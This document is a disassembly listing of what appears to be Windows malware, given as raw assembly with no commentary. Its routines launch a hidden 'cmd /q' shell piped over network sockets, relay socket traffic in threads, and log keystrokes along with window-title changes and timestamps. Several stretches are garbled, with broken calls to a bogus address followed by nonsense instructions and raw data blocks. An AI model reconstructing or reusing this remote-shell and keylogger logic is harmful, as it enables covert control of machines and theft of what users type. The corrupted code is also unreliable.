; CODE XREF: sub_412160+1Dj xor eax, eax jmp short loc_412254 ; --------------------------------------------------------------------------- loc_41224E: ; CODE XREF: sub_412160+ADj or dword ptr [esi+0Ch], 0FFFFFFFFh mov eax, esi loc_412254: ; CODE XREF: sub_412160+ECj pop edi pop esi pop ebx leave retn sub_412160 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412259 proc near ; CODE XREF: sub_412160+94p var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_2C = dword ptr -2Ch var_28 = word ptr -28h var_26 = word ptr -26h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 58h push ebx push esi push edi push 44h pop edi xor esi, esi push edi lea eax, [ebp+var_58] push esi push eax mov [ebp+var_4], esi call sub_41D100 push 10h lea eax, [ebp+var_14] push esi push eax call sub_41D100 mov eax, [ebp+arg_0] mov ebx, [ebp+arg_4] add esp, 18h mov [ebp+var_20], eax lea eax, [ebp+var_18] mov [ebp+var_58], edi mov edi, ds:dword_4F1390 push esi push 1 push 2 push eax mov [ebp+var_54], esi mov [ebp+var_4C], esi mov [ebp+var_50], esi mov [ebp+var_3C], esi mov [ebp+var_40], esi mov [ebp+var_44], esi mov [ebp+var_48], esi mov [ebp+var_28], si mov [ebp+var_24], esi mov [ebp+var_26], si mov [ebp+var_2C], 101h mov [ebp+var_1C], ebx call edi ; dword_4F1390 push eax push ebx call edi ; dword_4F1390 push eax call near ptr 3D0000h xchg eax, edi lea eax, [ebp+var_14] push eax lea eax, [ebp+var_58] push eax push esi push esi push esi push 1 push esi push esi push offset aCmdQ ; "cmd /q" push esi call near ptr 3D0000h insb test eax, eax jz short loc_412315 mov eax, [ebp+arg_8] mov ecx, [ebp+var_C] imul eax, 234h push [ebp+var_10] mov esi, [ebp+var_14] mov ds:dword_4523C0[eax], ecx call ds:dword_4F12FC ; CloseHandle jmp short loc_41232B ; --------------------------------------------------------------------------- loc_412315: ; CODE XREF: sub_412259+9Aj call ds:dword_4F1310 ; RtlGetLastWin32Error push eax push offset unk_44ABF8 call sub_41621B mov esi, [ebp+var_4] pop ecx pop ecx loc_41232B: ; CODE XREF: sub_412259+BAj mov eax, esi pop edi pop esi pop ebx leave retn sub_412259 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412332 proc near ; DATA XREF: seg000:0041204Eo var_1B0 = byte ptr -1B0h var_C8 = byte ptr -0C8h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1B0h push ebx push esi mov ebx, ds:dword_4F1374 push edi mov edi, [ebp+arg_0] lea eax, [ebp+arg_0] push 0 push eax lea eax, [ebp+var_C8] push 0C8h push eax push dword ptr [edi] loc_41235B: ; CODE XREF: sub_412332+8Fj call ebx ; dword_4F1374 test eax, eax jz short loc_4123C3 xor eax, eax xor dl, dl xor esi, esi cmp [ebp+arg_0], eax jbe short loc_412396 loc_41236C: ; CODE XREF: sub_412332+62j mov cl, [ebp+esi+var_C8] cmp cl, 0Ah jnz short loc_412386 cmp dl, 0Dh jz short loc_412386 mov [ebp+eax+var_1B0], 0Dh inc eax loc_412386: ; CODE XREF: sub_412332+44j ; sub_412332+49j mov [ebp+eax+var_1B0], cl inc eax inc esi mov dl, cl cmp esi, [ebp+arg_0] jb short loc_41236C loc_412396: ; CODE XREF: sub_412332+38j push 0 push eax lea eax, [ebp+var_1B0] push eax push dword ptr [edi+0Ch] call ds:dword_451540 test eax, eax jle short loc_4123C3 lea eax, [ebp+arg_0] push 0 push eax lea eax, [ebp+var_C8] push 0C8h push eax push dword ptr [edi] jmp short loc_41235B ; --------------------------------------------------------------------------- loc_4123C3: ; CODE XREF: sub_412332+2Dj ; sub_412332+79j mov esi, ds:dword_4F1310 call esi ; dword_4F1310 cmp eax, 6Dh jz short loc_4123DF call esi ; dword_4F1310 push eax push offset unk_44AC48 call sub_41621B pop ecx pop ecx loc_4123DF: ; CODE XREF: sub_412332+9Cj pop edi pop esi pop ebx leave retn sub_412332 endp ; --------------------------------------------------------------------------- loc_4123E4: ; DATA XREF: seg000:00412080o push ebp mov ebp, esp sub esp, 0DCh push ebx push esi xor ebx, ebx push edi mov edi, [ebp+8] xor esi, esi mov [ebp-10h], ebx mov [ebp-0Ch], ebx loc_4123FD: ; CODE XREF: seg000:0041241Dj ; seg000:004124BBj ... push ebx lea eax, [ebp+0Bh] push 1 push eax push dword ptr [edi+0Ch] call ds:dword_45150C test eax, eax jle loc_412502 cmp [ebp-10h], ebx jbe short loc_41241F dec dword ptr [ebp-10h] jmp short loc_4123FD ; --------------------------------------------------------------------------- loc_41241F: ; CODE XREF: seg000:00412418j mov al, [ebp+0Bh] movsx ecx, al cmp ecx, 0FFh jz loc_4124E2 cmp al, 8 mov [ebp-0Ch], ebx jz short loc_41248F cmp al, 7Fh jz short loc_41248F cmp al, 3 jnz short near ptr loc_412447+3 push ebx push ebx call near ptr 3D0000h loc_412447: ; CODE XREF: seg000:0041243Ej mov esp, 153C6CEBh jnz short loc_41246C xor esi, esi mov byte ptr [ebp-8], 20h mov byte ptr [ebp-7], 58h mov byte ptr [ebp-6], 58h mov byte ptr [ebp-5], 58h mov byte ptr [ebp-4], 0Dh mov byte ptr [ebp-3], 0Ah push 6 jmp short loc_4124A2 ; --------------------------------------------------------------------------- loc_41246C: ; CODE XREF: seg000:0041244Cj mov [ebp+esi-0DCh], al inc esi push 1 cmp al, 0Dh mov [ebp-8], al pop ecx jnz short loc_4124A3 mov byte ptr [ebp+esi-0DCh], 0Ah mov byte ptr [ebp-7], 0Ah inc esi push 2 jmp short loc_4124A2 ; --------------------------------------------------------------------------- loc_41248F: ; CODE XREF: seg000:00412436j ; seg000:0041243Aj cmp esi, ebx jbe short loc_4124B9 dec esi mov byte ptr [ebp-8], 8 mov byte ptr [ebp-7], 20h mov byte ptr [ebp-6], 8 push 3 loc_4124A2: ; CODE XREF: seg000:0041246Aj ; seg000:0041248Dj pop ecx loc_4124A3: ; CODE XREF: seg000:0041247Cj push ebx lea eax, [ebp-8] push ecx push eax push dword ptr [edi+0Ch] call ds:dword_451540 test eax, eax jle short loc_412502 mov al, [ebp+0Bh] loc_4124B9: ; CODE XREF: seg000:00412491j cmp al, 0Dh jnz loc_4123FD lea eax, [ebp-14h] push ebx push eax lea eax, [ebp-0DCh] push esi push eax push dword ptr [edi+4] call near ptr 3D0000h mov eax, [ebp+332774C0h] imul cl sbb edi, edi ; --------------------------------------------------------------------------- db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_4124E2: ; CODE XREF: seg000:0041242Bj cmp [ebp-0Ch], ebx jnz short loc_4124F3 mov dword ptr [ebp-0Ch], 1 jmp loc_4123FD ; --------------------------------------------------------------------------- loc_4124F3: ; CODE XREF: seg000:004124E5j mov dword ptr [ebp-10h], 0Ah mov [ebp-0Ch], ebx jmp loc_4123FD ; --------------------------------------------------------------------------- loc_412502: ; CODE XREF: seg000:0041240Fj ; seg000:004124B4j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_412507: ; DATA XREF: seg000:004082FBo push ebp mov ebp, esp sub esp, 2D4h mov eax, [ebp+8] push ebx push esi push edi push 10h mov esi, eax pop ebx lea edi, [ebp-0D4h] push 2Ch mov [ebp-4], ebx pop ecx rep movsd push 1 xor esi, esi pop edi mov [eax+0A8h], edi push ebx lea eax, [ebp-14h] push esi push eax call sub_41D100 add esp, 0Ch mov word ptr [ebp-14h], 2 push dword ptr [ebp-40h] call ds:dword_4514F4 push 6 push edi push 2 mov [ebp-12h], ax mov [ebp-10h], esi call ds:dword_451570 mov edi, eax mov eax, [ebp-3Ch] imul eax, 234h push ebx mov ds:dword_4523C4[eax], edi lea eax, [ebp-14h] push eax push edi call ds:dword_451520 test eax, eax jnz loc_4126A9 push 0Ah push edi call ds:dword_45151C test eax, eax jnz loc_4126A9 push dword ptr [ebp-40h] push dword ptr [ebp-0D4h] call sub_402617 pop ecx push eax lea eax, [ebp-2D4h] push offset unk_44AC9C push eax call sub_41D260 add esp, 10h cmp [ebp-30h], esi jnz short loc_4125E2 push esi lea eax, [ebp-2D4h] push dword ptr [ebp-34h] push eax lea eax, [ebp-0D0h] push eax push dword ptr [ebp-0D4h] call sub_40145D add esp, 14h loc_4125E2: ; CODE XREF: seg000:004125C0j ; seg000:00412679j ... lea eax, [ebp-2D4h] push eax call sub_4161A7 pop ecx lea eax, [ebp-4] push eax lea eax, [ebp-24h] push eax push edi call ds:dword_451584 push dword ptr [ebp-3Ch] mov ebx, eax movzx eax, word ptr [ebp-22h] push eax mov [ebp-28h], esi push dword ptr [ebp-20h] call ds:dword_45157C push eax lea eax, [ebp-2D4h] push offset unk_44ACE0 push eax call sub_41D260 push ebx lea eax, [ebp-2D4h] push 19h push eax call sub_408D3F mov [ebp-38h], eax imul eax, 234h mov ecx, [ebp-3Ch] add esp, 20h mov ds:dword_4523BC[eax], ecx lea eax, [ebp+8] push eax lea eax, [ebp-0D4h] push esi push eax push offset loc_41270C push esi push esi call ds:dword_4F131C ; CreateThread mov ecx, [ebp-38h] imul ecx, 234h cmp eax, esi mov ds:dword_4523CC[ecx], eax jz short loc_412689 loc_412676: ; CODE XREF: seg000:00412687j cmp [ebp-28h], esi jnz loc_4125E2 push 5 call ds:dword_4F12F4 ; Sleep jmp short loc_412676 ; --------------------------------------------------------------------------- loc_412689: ; CODE XREF: seg000:00412674j call ds:dword_4F1310 ; RtlGetLastWin32Error push eax lea eax, [ebp-2D4h] push offset unk_44AD3C push eax call sub_41D260 add esp, 0Ch jmp loc_4125E2 ; --------------------------------------------------------------------------- loc_4126A9: ; CODE XREF: seg000:00412582j ; seg000:00412593j push edi call ds:dword_451588 push dword ptr [ebp-40h] lea eax, [ebp-2D4h] push offset unk_44AD90 push eax call sub_41D260 add esp, 0Ch cmp [ebp-30h], esi jnz short loc_4126EC push esi lea eax, [ebp-2D4h] push dword ptr [ebp-34h] push eax lea eax, [ebp-0D0h] push eax push dword ptr [ebp-0D4h] call sub_40145D add esp, 14h loc_4126EC: ; CODE XREF: seg000:004126CAj lea eax, [ebp-2D4h] push eax call sub_4161A7 push dword ptr [ebp-3Ch] call sub_40905B pop ecx pop ecx push esi call near ptr 3D0000h pop eax pop edi pop esi pop ebx loc_41270C: ; DATA XREF: seg000:00412656o push ebp mov ebp, esp sub esp, 5D4h mov eax, [ebp+8] push ebx push esi push edi push 2Ch mov esi, eax pop ecx lea edi, [ebp-0C8h] rep movsd mov esi, [ebp-2Ch] push 1 mov [ebp+8], esi imul esi, 234h pop edi lea esi, dword_4523C4[esi] mov [eax+0ACh], edi xor ebx, ebx mov eax, [esi] mov dword ptr [ebp-8], 5 mov [ebp-5D0h], eax lea eax, [ebp-8] push eax push ebx lea eax, [ebp-5D4h] push ebx push eax push ebx mov [ebp-4], ebx mov [ebp-5D4h], edi call ds:dword_4514DC test eax, eax jnz short near ptr loc_41278C+1 push dword ptr [esi] call ds:dword_451588 push dword ptr [ebp+8] call sub_40905B pop ecx push ebx call near ptr 3D0000h loc_41278C: ; CODE XREF: seg000:00412773j fist dword ptr [ebx-73h] test [eax], esi sti ; --------------------------------------------------------------------------- dw 0FFFFh dd 40868h, 36FF5000h, 150C15FFh, 0C0850045h, 36FF187Fh dd 158815FFh, 75FF0045h, 68A5E808h, 5359FFFFh, 0FBD843E8h dd 0BD80E5FFh, 0FFFFFB30h, 0ED850F04h, 80000001h, 0FFFB31BDh dd 850F01FFh, 1E0h, 74BC5D38h, 0BC458D77h, 38858D50h, 50FFFFFBh dd 0B113E8h, 0C0855900h, 8D617459h, 8D50BC45h, 0FFFB3885h dd 0DC6850FFh, 0E80044ADh, 3A13h, 40068h, 38858D00h, 53FFFFFBh dd 309D8850h, 0C6FFFFFBh, 0FFFB3185h, 0D9E85DFFh, 830000A8h dd 858D18C4h, 0FFFFFB30h, 50086A53h, 15FF36FFh, 451540h dd 15FF36FFh, 451588h, 0E80875FFh, 0FFFF680Fh, 0ADE85359h dd 10FFFBD7h, 458D106Ah, 0E85053E8h, 0A8A0h, 32858B66h dd 83FFFFFBh, 89660CC4h, 858BEA45h, 0FFFFFB34h, 6A57066Ah dd 45C76602h, 890002E8h, 15FFEC45h, 451570h, 0FF83F88Bh dd 0FF5D75FFh, 45148815h, 34685000h, 0E80044AEh, 397Bh dd 40068h, 38858D00h, 53FFFFFBh, 309D8850h, 0C6FFFFFBh dd 0FFFB3185h, 41E85BFFh, 830000A8h, 858D14C4h, 0FFFFFB30h dd 50086A53h, 15FF36FFh, 451540h, 15FF36FFh, 451588h, 0E80875FFh dd 0FFFF6777h, 15E85359h, 0B9FFFBD7h, 6AE8458Dh, 0FF575010h dd 45149C15h, 0FFF88300h, 15FF5D75h, 451488h, 0AE8C6850h dd 0CE80044h, 68000039h, 400h, 0FB38858Dh, 5053FFFFh, 0FB309D88h dd 85C6FFFFh, 0FFFFFB31h, 0A7D2E85Bh, 0C4830000h, 30858D14h dd 53FFFFFBh, 0FF50086Ah, 4015FF36h, 0FF004515h, 8815FF36h dd 0FF004515h, 8E80875h, 59FFFF67h, 0D6A6E853h, 6805FFFBh dd 400h, 0FB38858Dh, 5053FFFFh, 0FB309D88h, 85C6FFFFh dd 0FFFFFB31h, 0A786E85Ah, 0C4830000h, 30858D0Ch, 53FFFFFBh dd 0FF50086Ah, 4015FF36h, 0FF004515h, 39E85736h, 59000000h dd 15FF5759h, 451588h, 15FF36FFh, 451588h, 0E80875FFh dd 0FFFF66ABh, 49E85359h, 0E3FFFBD6h, 15FF36FFh, 451588h dd 0E80875FFh, 0FFFF6693h, 31E85359h, 98FFFBD6h ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 504h push ebx mov ebx, [ebp+0Ch] push esi push edi xor edi, edi mov esi, 400h loc_4129E6: ; CODE XREF: seg000:00412A95j ; seg000:00412AC5j mov [ebp-100h], ebx mov dword ptr [ebp-104h], 1 xor ecx, ecx lea eax, [ebp-100h] loc_4129FE: ; CODE XREF: seg000:00412A0Cj mov edx, [ebp+8] cmp [eax], edx jz short loc_412A0E inc ecx add eax, 4 cmp ecx, 1 jb short loc_4129FE loc_412A0E: ; CODE XREF: seg000:00412A03j cmp ecx, 1 jnz short loc_412A23 mov [ebp-0FCh], edx mov dword ptr [ebp-104h], 2 loc_412A23: ; CODE XREF: seg000:00412A11j push esi lea eax, [ebp-504h] push edi push eax call sub_41D100 add esp, 0Ch lea eax, [ebp-104h] push edi push edi push edi push eax push edi call ds:dword_4514DC lea eax, [ebp-104h] push eax push ebx call ds:dword_4513E4 test eax, eax jz short loc_412A83 push edi lea eax, [ebp-504h] push esi push eax push ebx call ds:dword_45150C cmp eax, 0FFFFFFFFh jz short loc_412ACB push edi push eax lea eax, [ebp-504h] push eax push dword ptr [ebp+8] call ds:dword_451540 cmp eax, 0FFFFFFFFh jz short loc_412ACB loc_412A83: ; CODE XREF: seg000:00412A55j lea eax, [ebp-104h] push eax push dword ptr [ebp+8] call ds:dword_4513E4 test eax, eax jz loc_4129E6 push edi lea eax, [ebp-504h] push esi push eax push dword ptr [ebp+8] call ds:dword_45150C cmp eax, 0FFFFFFFFh jz short loc_412ACB push edi push eax lea eax, [ebp-504h] push eax push ebx call ds:dword_451540 cmp eax, 0FFFFFFFFh jnz loc_4129E6 loc_412ACB: ; CODE XREF: seg000:00412A6Aj ; seg000:00412A81j ... pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_412AD0: ; CODE XREF: seg000:loc_412F74p ; DATA XREF: seg000:00407818o push ebp mov ebp, esp sub esp, 87Ch mov edx, [ebp+8] push ebx push esi push edi push 1 xor ebx, ebx pop eax mov ecx, 0A9h mov esi, edx lea edi, [ebp-374h] push ebx push 2 rep movsd inc dword ptr [ebp-164h] push 2 mov [ebp-10h], eax mov [ebp-14h], eax mov [ebp-8], eax mov [edx+2A0h], eax call ds:dword_451570 mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_412B8B push 190h call ds:dword_4F12F4 ; Sleep call ds:dword_451488 push eax lea eax, [ebp-778h] push offset dword_44AEF0 push eax call sub_41D260 add esp, 0Ch cmp [ebp-0D8h], ebx jnz short loc_412B6B push ebx lea eax, [ebp-778h] push dword ptr [ebp-0DCh] push eax lea eax, [ebp-15Ch] push eax push dword ptr [ebp-374h] call sub_40145D add esp, 14h loc_412B6B: ; CODE XREF: seg000:00412B46j lea eax, [ebp-778h] push eax call sub_4161A7 push dword ptr [ebp-168h] call sub_40905B pop ecx pop ecx push ebx call near ptr 3D0000h setalc loc_412B8B: ; CODE XREF: seg000:00412B18j lea eax, [ebp-10h] push 4 push eax mov edi, 0FFFFh push 4 push edi push esi call ds:dword_4514D4 lea eax, [ebp-14h] push 4 push eax push 0FFFFFFFBh push edi push esi call ds:dword_4514D4 mov eax, [ebp-168h] push 10h imul eax, 234h push ebx mov ds:dword_4523C4[eax], esi lea eax, [ebp-2Ch] push eax call sub_41D100 add esp, 0Ch mov word ptr [ebp-2Ch], 2 push dword ptr [ebp-160h] call ds:dword_4514F4 mov [ebp-2Ah], ax lea eax, [ebp-2Ch] push 10h push eax push esi mov [ebp-28h], ebx call ds:dword_451520 cmp eax, 0FFFFFFFFh jnz short loc_412C15 push 1388h call ds:dword_4F12F4 ; Sleep dec dword ptr [ebp-164h] push dword ptr [ebp+8] jmp loc_412F74 ; --------------------------------------------------------------------------- loc_412C15: ; CODE XREF: seg000:00412BFAj lea eax, [ebp-370h] push offset dword_44AF4C push eax call sub_41D0E0 pop ecx cmp eax, ebx pop ecx mov [ebp-4], eax jnz short loc_412C93 push 190h call ds:dword_4F12F4 ; Sleep lea eax, [ebp-370h] push eax lea eax, [ebp-778h] push offset dword_44AF50 push eax call sub_41D260 push ebx lea eax, [ebp-778h] push dword ptr [ebp-0DCh] push eax lea eax, [ebp-15Ch] push eax push dword ptr [ebp-374h] call sub_40145D lea eax, [ebp-778h] push eax call sub_4161A7 push dword ptr [ebp-168h] call sub_40905B add esp, 28h push ebx call near ptr 3D0000h ; --------------------------------------------------------------------------- db 0D9h ; --------------------------------------------------------------------------- loc_412C93: ; CODE XREF: seg000:00412C2Dj ; seg000:00412F2Ej mov edi, [ebp+8] cmp [edi+2A0h], ebx jz loc_412F37 mov edi, 80h lea eax, [ebp-0D0h] push edi push ebx push eax mov dword ptr [ebp-1Ch], 5 mov dword ptr [ebp-18h], 1388h mov [ebp-878h], esi mov dword ptr [ebp-87Ch], 1 call sub_41D100 add esp, 0Ch lea eax, [ebp-1Ch] push eax push ebx lea eax, [ebp-87Ch] push ebx push eax push ebx call ds:dword_4514DC test eax, eax jle loc_412F2B mov al, ds:byte_4E2670 mov ecx, edi mov [ebp-578h], al xor eax, eax lea edi, [ebp-577h] mov dword ptr [ebp-0Ch], 10h rep stosd stosw stosb lea eax, [ebp-0Ch] push eax lea eax, [ebp-3Ch] push eax push ebx lea eax, [ebp-0D0h] push 80h push eax push esi call ds:dword_4514CC push dword ptr [ebp-38h] mov [ebp-8], eax call ds:dword_45157C push eax lea eax, [ebp-50h] push eax call sub_41D260 cmp [ebp-0D0h], bl pop ecx pop ecx jnz loc_412F15 cmp byte ptr [ebp-0CFh], 1 jnz loc_412E1B lea eax, [ebp-26Ch] push eax call sub_41AC70 push ebx push ebx push dword ptr [ebp-4] call sub_4201E0 push dword ptr [ebp-4] lea eax, [ebp-574h] mov [ebp-578h], bl mov byte ptr [ebp-577h], 3 push 200h push 1 push eax mov [ebp-576h], bl mov byte ptr [ebp-575h], 1 call sub_41CDD0 add esp, 20h lea ecx, [ebp-3Ch] mov [ebp-8], eax add eax, 4 push dword ptr [ebp-0Ch] push ecx push ebx push eax lea eax, [ebp-578h] push eax push esi call ds:dword_451554 lea eax, [ebp-50h] push eax lea eax, [ebp-778h] push offset dword_44AF9C push eax call sub_41D260 add esp, 0Ch cmp [ebp-0D8h], ebx jnz short loc_412E09 push ebx lea eax, [ebp-778h] push dword ptr [ebp-0DCh] push eax lea eax, [ebp-15Ch] push eax push dword ptr [ebp-374h] call sub_40145D add esp, 14h loc_412E09: ; CODE XREF: seg000:00412DE4j lea eax, [ebp-778h] push eax call sub_4161A7 pop ecx jmp loc_412F2B ; --------------------------------------------------------------------------- loc_412E1B: ; CODE XREF: seg000:00412D5Aj cmp byte ptr [ebp-0CFh], 4 jnz loc_412F15 mov cl, [ebp-0CDh] mov al, [ebp-0CEh] cmp cl, 0FFh mov [ebp-578h], bl mov byte ptr [ebp-577h], 3 jnz short loc_412E58 inc al xor cl, cl mov [ebp-576h], al mov [ebp-575h], bl jmp short loc_412E66 ; --------------------------------------------------------------------------- loc_412E58: ; CODE XREF: seg000:00412E44j inc cl mov [ebp-576h], al mov [ebp-575h], cl loc_412E66: ; CODE XREF: seg000:00412E56j movzx eax, al movzx ecx, cl shl eax, 8 add eax, ecx mov edi, 200h shl eax, 9 sub eax, edi push ebx push eax push dword ptr [ebp-4] call sub_4201E0 push dword ptr [ebp-4] lea eax, [ebp-574h] push edi push 1 push eax call sub_41CDD0 add esp, 1Ch mov edi, eax lea eax, [ebp-3Ch] mov [ebp-8], edi push dword ptr [ebp-0Ch] push eax lea eax, [edi+4] push ebx push eax lea eax, [ebp-578h] push eax push esi call ds:dword_451554 cmp edi, ebx jnz short loc_412F2B lea eax, [ebp-50h] push eax lea eax, [ebp-778h] push offset dword_44AFF4 push eax call sub_41D260 add esp, 0Ch cmp [ebp-0D8h], ebx jnz short loc_412F00 push ebx lea eax, [ebp-778h] push dword ptr [ebp-0DCh] push eax lea eax, [ebp-15Ch] push eax push dword ptr [ebp-374h] call sub_40145D add esp, 14h loc_412F00: ; CODE XREF: seg000:00412EDBj lea eax, [ebp-778h] push eax call sub_4161A7 inc ds:dword_4E1D34 pop ecx jmp short loc_412F2B ; --------------------------------------------------------------------------- loc_412F15: ; CODE XREF: seg000:00412D4Dj ; seg000:00412E22j push dword ptr [ebp-0Ch] lea eax, [ebp-3Ch] push eax push ebx push 9 push offset dword_44B04C push esi call ds:dword_451554 loc_412F2B: ; CODE XREF: seg000:00412CECj ; seg000:00412E16j ... cmp [ebp-8], ebx jg loc_412C93 mov edi, [ebp+8] loc_412F37: ; CODE XREF: seg000:00412C9Cj push esi call ds:dword_451588 push dword ptr [ebp-4] call sub_41ACF0 dec dword ptr [ebp-164h] loc_412F4C: ; DATA XREF: seg002:off_44F978o ; seg002:off_44F97Co cmp [edi+2A0h], ebx pop ecx jnz short loc_412F68 push dword ptr [ebp-168h] call sub_40905B pop ecx push ebx call near ptr 3D0000h aaa loc_412F68: ; CODE XREF: seg000:00412F53j push 3E8h call ds:dword_4F12F4 ; Sleep push edi loc_412F74: ; CODE XREF: seg000:00412C10j call loc_412AD0 pop edi pop esi pop ebx leave retn 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412F80 proc near ; CODE XREF: sub_413061+B4p ; sub_413061+253p var_1137B = byte ptr -1137Bh var_314 = byte ptr -314h var_114 = byte ptr -114h var_10 = word ptr -10h var_E = word ptr -0Eh var_A = word ptr -0Ah var_8 = word ptr -8 var_6 = word ptr -6 var_4 = word ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_C = byte ptr 14h arg_8C = dword ptr 94h arg_90 = dword ptr 98h push ebp mov ebp, esp sub esp, 314h lea eax, [ebp+var_10] push esi push eax call ds:dword_4F13C8 ; GetLocalTime lea eax, [ebp+var_114] push 104h push eax call near ptr 3D0000h test [ebp+var_1137B], 0FFh push offset dword_44B7C4 push eax call sub_41E560 lea eax, [ebp+var_114] push offset dword_43CCCC push eax call sub_41E560 lea eax, [ebp+var_114] push offset dword_44B7C8 push eax call sub_41D0E0 mov esi, eax add esp, 18h test esi, esi jnz short loc_412FE7 push 1 pop eax jmp short loc_41305E ; --------------------------------------------------------------------------- loc_412FE7: ; CODE XREF: sub_412F80+60j movzx eax, [ebp+var_4] push [ebp+arg_0] push eax movzx eax, [ebp+var_6] push eax movzx eax, [ebp+var_8] push eax movzx eax, [ebp+var_10] push eax movzx eax, [ebp+var_A] push eax movzx eax, [ebp+var_E] push eax push offset aDDDDDDS ; "[%d-%d-%d %d:%d:%d] %s\r\n" push esi call sub_41E440 push esi call sub_41ACF0 add esp, 28h cmp [ebp+arg_90], 0 jnz short loc_41305C push [ebp+arg_0] lea eax, [ebp+var_314] push offset dword_44B7E8 push 200h push eax call sub_41D360 push 0 lea eax, [ebp+var_314] push [ebp+arg_8C] push eax lea eax, [ebp+arg_C] push eax push [ebp+arg_4] call sub_40145D add esp, 24h loc_41305C: ; CODE XREF: sub_412F80+A3j xor eax, eax loc_41305E: ; CODE XREF: sub_412F80+65j pop esi leave retn sub_412F80 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413061 proc near ; DATA XREF: seg000:00404983o var_8DC = dword ptr -8DCh var_8D8 = byte ptr -8D8h var_4DC = byte ptr -4DCh var_2DD = byte ptr -2DDh var_2DC = byte ptr -2DCh var_DC = byte ptr -0DCh var_D8 = dword ptr -0D8h var_48 = byte ptr -48h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 8DCh mov eax, [ebp+arg_0] push ebx push esi push edi and [ebp+var_8DC], 0 push 25h and [ebp+var_4], 0 pop ecx mov esi, eax lea edi, [ebp+var_DC] rep movsd mov dword ptr [eax+90h], 1 mov ecx, 0FFh xor eax, eax lea edi, [ebp+var_8D8] rep stosd call ds:dword_451478 lea ecx, [ebp+var_48] push 3Ch push ecx push eax mov [ebp+var_8], eax call ds:dword_451490 mov ebx, 200h loc_4130BC: ; CODE XREF: sub_413061+2C7j push 8 call ds:dword_4F12F4 ; Sleep call ds:dword_451478 cmp eax, [ebp+var_8] jz short loc_413144 lea ecx, [ebp+var_48] push 3Ch push ecx push eax mov [ebp+var_8], eax call ds:dword_451490 lea eax, [ebp+var_48] push eax lea eax, [ebp+var_2DC] push eax lea eax, [ebp+var_4DC] push offset aSChangedWindow ; "%s (Changed Windows: %s)" push eax call sub_41D260 sub esp, 84h lea esi, [ebp+var_DC] lea eax, [ebp+var_4DC] push 25h pop ecx mov edi, esp push eax rep movsd call sub_412F80 mov [ebp+var_4], eax push ebx lea eax, [ebp+var_2DC] push 0 push eax call sub_41D100 add esp, 0A4h lea eax, [ebp+var_4DC] push ebx push 0 push eax call sub_41D100 add esp, 0Ch loc_413144: ; CODE XREF: sub_413061+6Cj mov [ebp+arg_0], offset dword_44B05C loc_41314B: ; CODE XREF: sub_413061+2BDj push 10h call ds:dword_4513CC movsx esi, ax mov eax, [ebp+arg_0] mov edi, [eax-4] push edi call ds:dword_4514C0 test ah, 80h jz short loc_4131E3 push 14h call ds:dword_4513CC test ax, ax jz short loc_413194 cmp esi, 0FFFFFFFFh jle short loc_413194 cmp edi, 40h jle short loc_413194 cmp edi, 5Bh jge short loc_413194 mov [ebp+edi*4+var_8DC], 1 jmp loc_413313 ; --------------------------------------------------------------------------- loc_413194: ; CODE XREF: sub_413061+112j ; sub_413061+117j ... push 14h call ds:dword_4513CC test ax, ax jz short loc_4131BF test esi, esi jge short loc_4131D3 cmp edi, 40h jle short loc_4131BF cmp edi, 5Bh jge short loc_4131BF mov [ebp+edi*4+var_8DC], 2 jmp loc_413313 ; --------------------------------------------------------------------------- loc_4131BF: ; CODE XREF: sub_413061+13Ej ; sub_413061+147j ... test esi, esi jge short loc_4131D3 mov [ebp+edi*4+var_8DC], 3 jmp loc_413313 ; --------------------------------------------------------------------------- loc_4131D3: ; CODE XREF: sub_413061+142j ; sub_413061+160j mov [ebp+edi*4+var_8DC], 4 jmp loc_413313 ; --------------------------------------------------------------------------- loc_4131E3: ; CODE XREF: sub_413061+105j mov esi, [ebp+edi*4+var_8DC] lea eax, [ebp+edi*4+var_8DC] test esi, esi jz loc_413313 and dword ptr [eax], 0 lea eax, [ebp+var_2DC] cmp edi, 8 push eax jnz short loc_41321B call sub_41AC70 and [ebp+eax+var_2DD], 0 pop ecx jmp loc_413313 ; --------------------------------------------------------------------------- loc_41321B: ; CODE XREF: sub_413061+1A5j call sub_41AC70 cmp eax, 1B9h pop ecx jbe short loc_41324D call ds:dword_451478 lea ecx, [ebp+var_48] push 3Ch push ecx push eax call ds:dword_451490 lea eax, [ebp+var_48] push eax lea eax, [ebp+var_2DC] push eax push offset aSBufferFullS ; "%s (Buffer full) (%s)" jmp short loc_41328E ; --------------------------------------------------------------------------- loc_41324D: ; CODE XREF: sub_413061+1C5j cmp edi, 0Dh jnz loc_4132E5 lea eax, [ebp+var_2DC] push eax call sub_41AC70 test eax, eax pop ecx jz loc_413313 call ds:dword_451478 lea ecx, [ebp+var_48] push 3Ch push ecx push eax call ds:dword_451490 lea eax, [ebp+var_48] push eax lea eax, [ebp+var_2DC] push eax push offset aSReturnS ; "%s (Return) (%s)" loc_41328E: ; CODE XREF: sub_413061+1EAj lea eax, [ebp+var_4DC] push eax call sub_41D260 sub esp, 84h lea esi, [ebp+var_DC] lea eax, [ebp+var_4DC] push 25h pop ecx mov edi, esp push eax rep movsd call sub_412F80 mov [ebp+var_4], eax push ebx lea eax, [ebp+var_2DC] push 0 push eax call sub_41D100 add esp, 0A4h lea eax, [ebp+var_4DC] push ebx push 0 push eax call sub_41D100 add esp, 0Ch jmp short loc_413313 ; 